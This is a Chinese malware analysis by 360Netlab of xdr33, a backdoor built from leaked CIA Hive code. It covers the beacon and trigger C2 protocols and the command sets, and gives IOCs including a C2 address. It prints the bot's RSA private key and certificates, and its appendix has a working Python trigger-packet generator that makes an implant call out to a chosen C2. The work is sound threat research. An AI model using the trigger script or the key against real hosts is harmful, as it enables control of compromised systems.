<p>值得一提的是type=0,Sha1[:32] of MAC,它的意思是取MAC SHA1的前32字节。以上图中的的mac为例,它的计算过程如下:</p>
<pre><code>mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43
sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805
sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
</code></pre>
<p>当所有的设备信息组合完毕后,使用bzip进行压缩,并在头部增加2字节的beacon_header_version,以及2字节的OS信息。<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png"><img src="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png" class="kg-image"/></a></p>
<h2 id="0x03">0x03: 网络通信</h2>
<p>xdr33与Beacon C2通信过程,包含以下4个步骤,下文将详细分析各个步骤的细节。</p>
<ul>
<li>双向SSL认证</li>
<li>获取XTEA密钥</li>
<li>向C2上报XTEA加密的设备信息</li>
<li>执行C2下发的指令</li>
</ul>
<h3 id="step1ssl">Step1: 双向SSL认证</h3>
<p>所谓双向SSL认证,即要求Bot,C2要确认彼此的身份,从网络流量层面来看,可以很明显看到Bot,C2相互请求彼此证书并校验的过程。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certi.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certi.png" class="kg-image"/></a></p>
<p>xdr33的作者使用源码仓库中kaspersky.conf,以及thawte.conf 2个模板生成所需要的Bot证书,C2证书,CA证书。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certconf.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certconf.png" class="kg-image"/></a></p>
<p>xdr32中硬编码了DER格式的CA证书,Bot证书和PrivKey。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_sslsock.png"><img src="__GHOST_URL__/content/images/2022/12/hive_sslsock.png" class="kg-image"/></a></p>
<p>可以使用<code>openssl x509 -in Cert -inform DER -noout -text</code>查看Bot证书,其中CN=xdr33,这正是此家族名字的由来。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_botcert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_botcert.png" class="kg-image"/></a></p>
<p>可以使用<code>openssl s_client -connect 45.9.150.144:443</code> 查看C2的证书。Bot,C2的证书都伪装成与kaspersky有关,通过这种方式降低网络流量的可疑性。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_c2cert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_c2cert.png" class="kg-image"/></a></p>
<p>CA证书如下所示,从3个证书的有效期来看,我们推测此次活动的开始时间在2022.10.7之后。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_ca.png"><img src="__GHOST_URL__/content/images/2022/12/hive_ca.png" class="kg-image"/></a></p>
<h3 id="step2xtea">Step2: 获取XTEA密钥</h3>
<p>Bot和C2建立SSL通信之后,Bot通过以下代码片段向C2请求XTEA密钥。<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teakey.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teakey.png" class="kg-image"/></a></p>
<p>它的处理逻辑为:</p>
<ol>
<li>
<p>Bot向C2发送64字节数据,格式为"设备信息长度字串的长度(xor 5) + 设备信息长度字串(xor 5) + 随机数据"</p>
</li>
<li>
<p>Bot从C2接收32字节数据,从中得到16字节的XTEA KEY,获取KEY的等效的python代码如下所示:</p>
<pre><code>XOR_KEY=5
def get_key(rand_bytes):
offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
return rand_bytes[(offset+1):(offset+17)]
</code></pre>
</li>
</ol>
<h3 id="step3c2xtea">Step3: 向C2上报XTEA加密的设备信息</h3>
<p>Bot使用Step2获得的XTEA KEY 对设备信息进行加密,并上报给C2。由于设备信息较多,一般需要分块发送,Bot一次最多发送4052字节,而C2则会回复已接受的字节数。<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teadevice.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teadevice.png" class="kg-image"/></a></p>
<p>另外值得一提的是,XTEA加密只在Step3中使用,后续的Step4中网络流量仅仅使用SSL协商好的加密加密套件,不再使用XTEA。</p>
<h3 id="step4xdr33">Step4: 等待执行指令(xdr33新增功能)</h3>
<p>当设备信息上报完毕后,C2向Bot发送8字节的本周期任务次数N,若N等于0就休眠一定时间,进入下一个周期的Beacon Task;反之就下发264字节的任务。Bot接收到任务后,对其进行解析,并执行相应的指令。<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png"><img src="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png" class="kg-image"/></a></p>
<p>支持的指令如下表所示:</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD with fake name "[kworker/3:1-events]"</td>
</tr>
<tr>
<td>0x03</td>
<td>Update</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch Shell</td>
</tr>
<tr>
<td>0x09</td>
<td>Socket5 Proxy</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<h2 id="">网络流量示例</h2>
<h3 id="xdr33step2">实际中xdr33产生的step2流量</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packet.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packet.png" class="kg-image"/></a></p>
<h3 id="step3step4">step3中的交互,以及step4的流量</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packetB.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packetB.png" class="kg-image"/></a></p>
<h3 id="">我们从中能得到什么信息呢?</h3>
<ol>
<li>
<p>设备信息长度字串的长度,0x1 ^ 0x5 = 0x4</p>
</li>
<li>
<p>设备信息长度,0x31,0x32,0x37,0x35 分别 xor 5得到 4720</p>
</li>
<li>
<p>tea key <code>2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A</code></p>
</li>
<li>
<p>C2会确认BOT上报的设备信息长度,4052+668 = 4720,和第2点是能对应上的</p>
</li>
<li>
<p>本周期任务数<code>00 00 00 00 00 00 00 00</code>,即无任务,所以不会下发264字节的具体任务</p>
</li>
</ol>
<p>关于加密的设备信息,可以通过以下代码进行解密,以解密前8字节<code>65 d8 b1 f9 b8 37 37 eb</code>为例,解密后的数据为<code>00 22 00 14 42 5A 68 39</code>,包含了<code>beacon_header_version + os+ bzip magic</code>,和前面的分析能够一一对应。</p>
<pre><code>import hexdump
import struct
def xtea_decrypt(key,block,n=32,endian="!"):
v0,v1 = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L",key)
delta,mask = 0x9e3779b9,0xffffffff
sum = (delta * n) & mask
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack(endian+"2L",v0,v1)
def decrypt_data(key,data):
size = len(data)
i = 0
ptext = b''
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i += 8
return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")
hexdump.hexdump(decrypt_data(key,enc_buf))
</code></pre>
<h1 id="triggertask">Trigger Task</h1>
<p>Trigger主要功能是监听所有流量,等待特定格式的Triggger IP报文,当报文以及隐藏在报文中的Trigger Payload通过层层校验之后,Bot就和Trigger Payload中的C2建立通信,等待执行下发的指令。</p>
<h2 id="0x1">0x1: 监听流量</h2>
<p>使用函数调用<strong>socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )</strong>,设定RAW SOCKET捕获IP报文,再通过以下代码片段对IP报文处理,可以看出Tirgger支持TCP,UDP,报文Payload最大长度为472字节。这种流量嗅探的实现方式会加大CPU的负载,事实上在socket上使用BPF-Filter效果会更好。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png"><img src="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png" class="kg-image"/></a></p>
<h2 id="0x2trigger">0x2: 校验Trigger报文</h2>
<p>符合长度要求的TCP,UDP报文使用相同的处理函数check_payload进行进一步校验,</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_handxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_handxref.png" class="kg-image"/></a></p>
<p><strong>check_payload</strong>的代码如下所示:<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png"><img src="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png" class="kg-image"/></a></p>
<p>可以看出它的处理逻辑:</p>
<ol>
<li>
<p>使用CRC16/CCITT-FALSE算法计算报文中偏移8到92的CRC16值,得到crcValue</p>
</li>
<li>
<p>通过crcValue % 200+ 92得到crcValue在在报文中的偏移值,crcOffset</p>
</li>
<li>
<p>校验报文中crcOffset处的数据是否等于crcValue,若相等进入下一步</p>
</li>
<li>
<p>校验报文中crcOffset+2处的数据是否是127的整数倍,若是,进入下一步</p>
</li>
<li>
<p>Trigger_Payload是加密的,起始位置为crcOffset+12,长度为29字节。Xor_Key的起始位置是crcValue%55+8,将2者逐字节XOR,就得到了Trigger_Paylaod</p>
</li>
</ol>
<p>至此可以确定<strong>Trigger报文格式</strong>是这样的:</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png" class="kg-image"/></a></p>
<h2 id="0x3triggerpayload">0x3: 校验 Trigger Payload</h2>
<p>如果Trigger报文通过校验,则通过check_trigger函数继续对Trigger Payload进行校验</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png" class="kg-image"/></a></p>
<p>可以看出它的处理逻辑:</p>
<ol>
<li>取出Trigger Payload最后2字节,记作crcRaw</li>
<li>将Trigger Payload最后2字节置0,计算其CRC16,记作crcCalc</li>
<li>比较crcRaw,crcCalc,若相等,说明Trigger Payload在结构上是有效的</li>
</ol>
<p>接着计算过Trigger Payload中的key的SHA1,和Bot中硬编码的SHA1 <strong>46a3c308401e03d3195c753caa14ef34a3806593</strong>进行比对。如果相等,说明Trigger Payload在内容是也是有效的,可以进入到最后一步,和Trigger Payload中的C2建立通信,等待执行其下发的指令。</p>
<p>至此可以确定<strong>Trigger Payload</strong>的格式是这样的:</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png" class="kg-image"/></a></p>
<h2 id="0x4triggerc2">0x4: 执行Trigger C2的指令</h2>
<p>当一个Trigger报文通过层层校验之后,Bot就主动和Trigger Payload中指定的C2进行通信,等待执行C2下发指令。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png" class="kg-image"/></a></p>
<p>支持的指令如下表所示:</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00,0x00a</td>
<td>Exit</td>
</tr>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x06</td>
<td>Shutdown</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch SHELL</td>
</tr>
<tr>
<td>0x09</td>
<td>SOCKET5 PROXY</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<p>值得一提的是,Trigger C2与Beacon C2在通信的细节上有所不同。Bot与Trigger C2在建立SSL隧道之后,会使用Diffie-Helllman密钥交换以建立共享密钥,这把钥匙用于AES算法创建第二层加密。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_aes.png"><img src="__GHOST_URL__/content/images/2022/12/hive_aes.png" class="kg-image"/></a></p>
<h1 id="">实验</h1>
<p>为了验证Trigger部分逆向分析的正确性,我们对xdr33的SHA1值进行了Patch,填入了<strong>NetlabPatched,Enjoy!</strong> 的SHA1,并实现了附录的GenTrigger代码,用以产生UDP类型Trigger 报文。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png"><img src="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png" class="kg-image"/></a></p>
<p>我们在虚拟机<strong>192.168.159.133</strong>运行Patch后的xdr33样本,构造C2为<strong>192.168.159.128:6666</strong>的Trigger Payload,并以UDP的方式发送给192.168.159.133。最终效果如下,可以看到xdr33所在的implanted host在收到UDP Trigger报文后,和我们预想中的一样,向预设的Trigger C2发起了通信请求,Cool!</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_vmware.png"><img src="__GHOST_URL__/content/images/2022/12/hive_vmware.png" class="kg-image"/></a></p>
<h1 id="">联系我们</h1>
<p>至此xdr33的分析告一段落,这是我们目前掌握的关于这个魔改攻击套件的情况。如果社区有更多线索,以及感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者通过邮件netlab[at]360.cn联系我们。</p>
<h1 id="ioc">IOC</h1>
<h2 id="sample">sample</h2>
<pre><code>ee07a74d12c0bb3594965b51d0e45b6f
patched sample
af5d2dfcafbb23666129600f982ecb87
</code></pre>
<h2 id="c2">C2</h2>
<pre><code>45.9.150.144:443
</code></pre>
<h2 id="botprivatekey">BOT Private Key</h2>
<pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----
</code></pre>
<h2 id="botcertificate">BOT Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----
</code></pre>
<h2 id="cacertificate">CA Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----
</code></pre>
<h1 id="">附录</h1>
<h2 id="0x1decode_res">0x1 Decode_RES</h2>
<pre><code>import idautils
import ida_bytes
def decode(addr,len):
tmp=bytearray()
buf=ida_bytes.get_bytes(addr,len)
for i in buf:
tmp.append(~i&0xff)
print("%x, %s" %(addr,bytes(tmp)))
ida_bytes.put_bytes(addr,bytes(tmp))
idc.create_strlit(addr,addr+len)
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
prev1Head=idc.prev_head(addr)
if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
bufaddr=idc.get_operand_value(prev1Head,0)
prev2Head=idc.prev_head(prev1Head)
if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
leng=idc.get_operand_value(prev2Head,0)
decode(bufaddr,leng)
</code></pre>
<h2 id="0x02gentrigger">0x02 GenTrigger</h2>
<pre><code>import random
import socket
def crc16(data: bytearray, offset, length):
if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
return 0
crc = 0xFFFF
for i in range(0, length):
crc ^= data[offset + i] << 8
for j in range(0, 8):
if (crc & 0x8000) > 0:
crc = (crc << 1) ^ 0x1021
else:
crc = crc << 1
return crc & 0xFFFF
def Gen_payload(ip:str,port:int):
out=bytearray()
part1=random.randbytes(92)
sum=crc16(part1,8,84)
offset1=sum % 0xc8
offset2=sum % 0x37
padding1=random.randbytes(offset1)
padding2=random.randbytes(8)
host=socket.inet_aton(ip)
C2=bytearray(b'\x01')
C2+=host
C2+=int.to_bytes(port,2,byteorder="big")
key=b'NetlabPatched,Enjoy!'
C2 = C2+key +b'\x00\x00'
c2sum=crc16(C2,0,29)
C2=C2[:-2]
C2+=(int.to_bytes(c2sum,2,byteorder="big"))
flag=0x7f*10
out+=part1
out+=padding1
out+=(int.to_bytes(sum,2,byteorder="big"))
out+=(int.to_bytes(flag,2,byteorder="big"))
out+=padding2
tmp=bytearray()
for i in range(29):
tmp.append(C2[i] ^ out[offset2+8+i])
out+=tmp
leng=472-len(out)
lengpadding=random.randbytes(random.randint(0,leng+1))
out+=lengpadding
return out
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345)) # 任意端口
</code></pre>
<!--kg-card-end: markdown--> | 概述
2022年10月21日,360Netlab的蜜罐系统捕获了一个通过F5漏洞传播,VT 0检测的可疑ELF文件ee07a74d12c0bb3594965b51d0e45b6f,流量监控系统提示它和IP45.9.150.144产生了SSL流量,而且双方都使用了伪造的Kaspersky证书,这引起了我们的关注。经过分析,我们确认它由CIA被泄露的Hive项目server源码改编而来。这是我们首次捕获到在野的CIA HIVE攻击套件变种,基于其内嵌Bot端证书的CN=xdr33, 我们内部将其命名为xdr33。关于CIA的Hive项目,互联网中有大量的源码分析的文章,读者可自行参阅,此处不再展开。
概括来说,xdr33是一个脱胎于CIA Hive项目的后门木马,主要目的是收集敏感信息,为后续的入侵提供立足点。从网络通信来看,xdr33使用XTEA或AES算法对原始流量进行加密,并采用开启了Client-Certificate Authentication模式的SSL对流量做进一步的保护;从功能来说,主要有beacon,trigger两大任务,其中beacon是周期性向硬编码的Beacon C2上报设备敏感信息,执行其下发的指令,而trigger则是监控网卡流量以识别暗藏Trigger C2的特定报文,当收到此类报文时,就和其中的Trigger C2建立通信,并等待执行下发的指令。
功能示意图如下所示:
Hive使用BEACON_HEADER_VERSION宏定义指定版本,在源码的Master分支上,它的值29,而xdr33中值为34,或许xdr33在视野之外已经有过了数轮的迭代更新。和源码进行对比,xdr33的更新体现在以下5个方面:
* 添加了新的CC指令
* 对函数进行了封装或展开
* 对结构体进行了调序,扩展
* Trigger报文格式
* Beacon任务中加入CC操作
xdr33的这些修改在实现上来看不算非常精良,再加上此次传播所所用的漏洞为N-day,因此我们倾向于排除CIA在泄漏源码上继续改进的可能性,认为它是黑产团伙利用已经泄漏源码魔改的结果。考虑到原始攻击套件的巨大威力,这绝非安全社区乐见,我们决定编写本文向社区分享我们的发现,共同维护网络空间的安全。
漏洞投递Payload
我们捕获的Payload的md5为ad40060753bc3a1d6f380a5054c1403a,它的内容如下所示:
代码简单明了,它的主要目的是:
1:下载下一阶段的样本并将其伪装成/command/bin/hlogd。
2:安装logd服务以实现持久化。
样本分析
我们只捕获了一个X86 架构的xdr33样本,它的基本信息如下所示:
MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
简单来说,xdr33在被侵入的设备运行时,首先解密所有的配置信息,然后检查是否有root/admin权限,如果没有,则输出Insufficient permissions. Try again...并退出;反之就初始化各种运行时参数,如C2,PORT,运行间隔时间等。最后通过beacon_start,TriggerListen两个函数开启Beacon,Trigger两大任务。
下文主要从2进制逆向的角度出发,分析Beacon,Trigger功能的实现;同时结合源码进行比对分析,看看发生了哪些变化。
解密配置信息
xdr33通过以下代码片段decode_str解密配置信息,它的逻辑非常简单即逐字节取反。
在IDA中可以看到decode_str的交叉引用非常多,一共了152处。为了辅助分析,我们实现了附录中IDAPython脚本 Decode_RES,对配置信息进行解密。
解密结果如下所示,其中有Beacon C2 45.9.150.144,运行时提示信息,查看设备信息的命令等。
Beacon Task
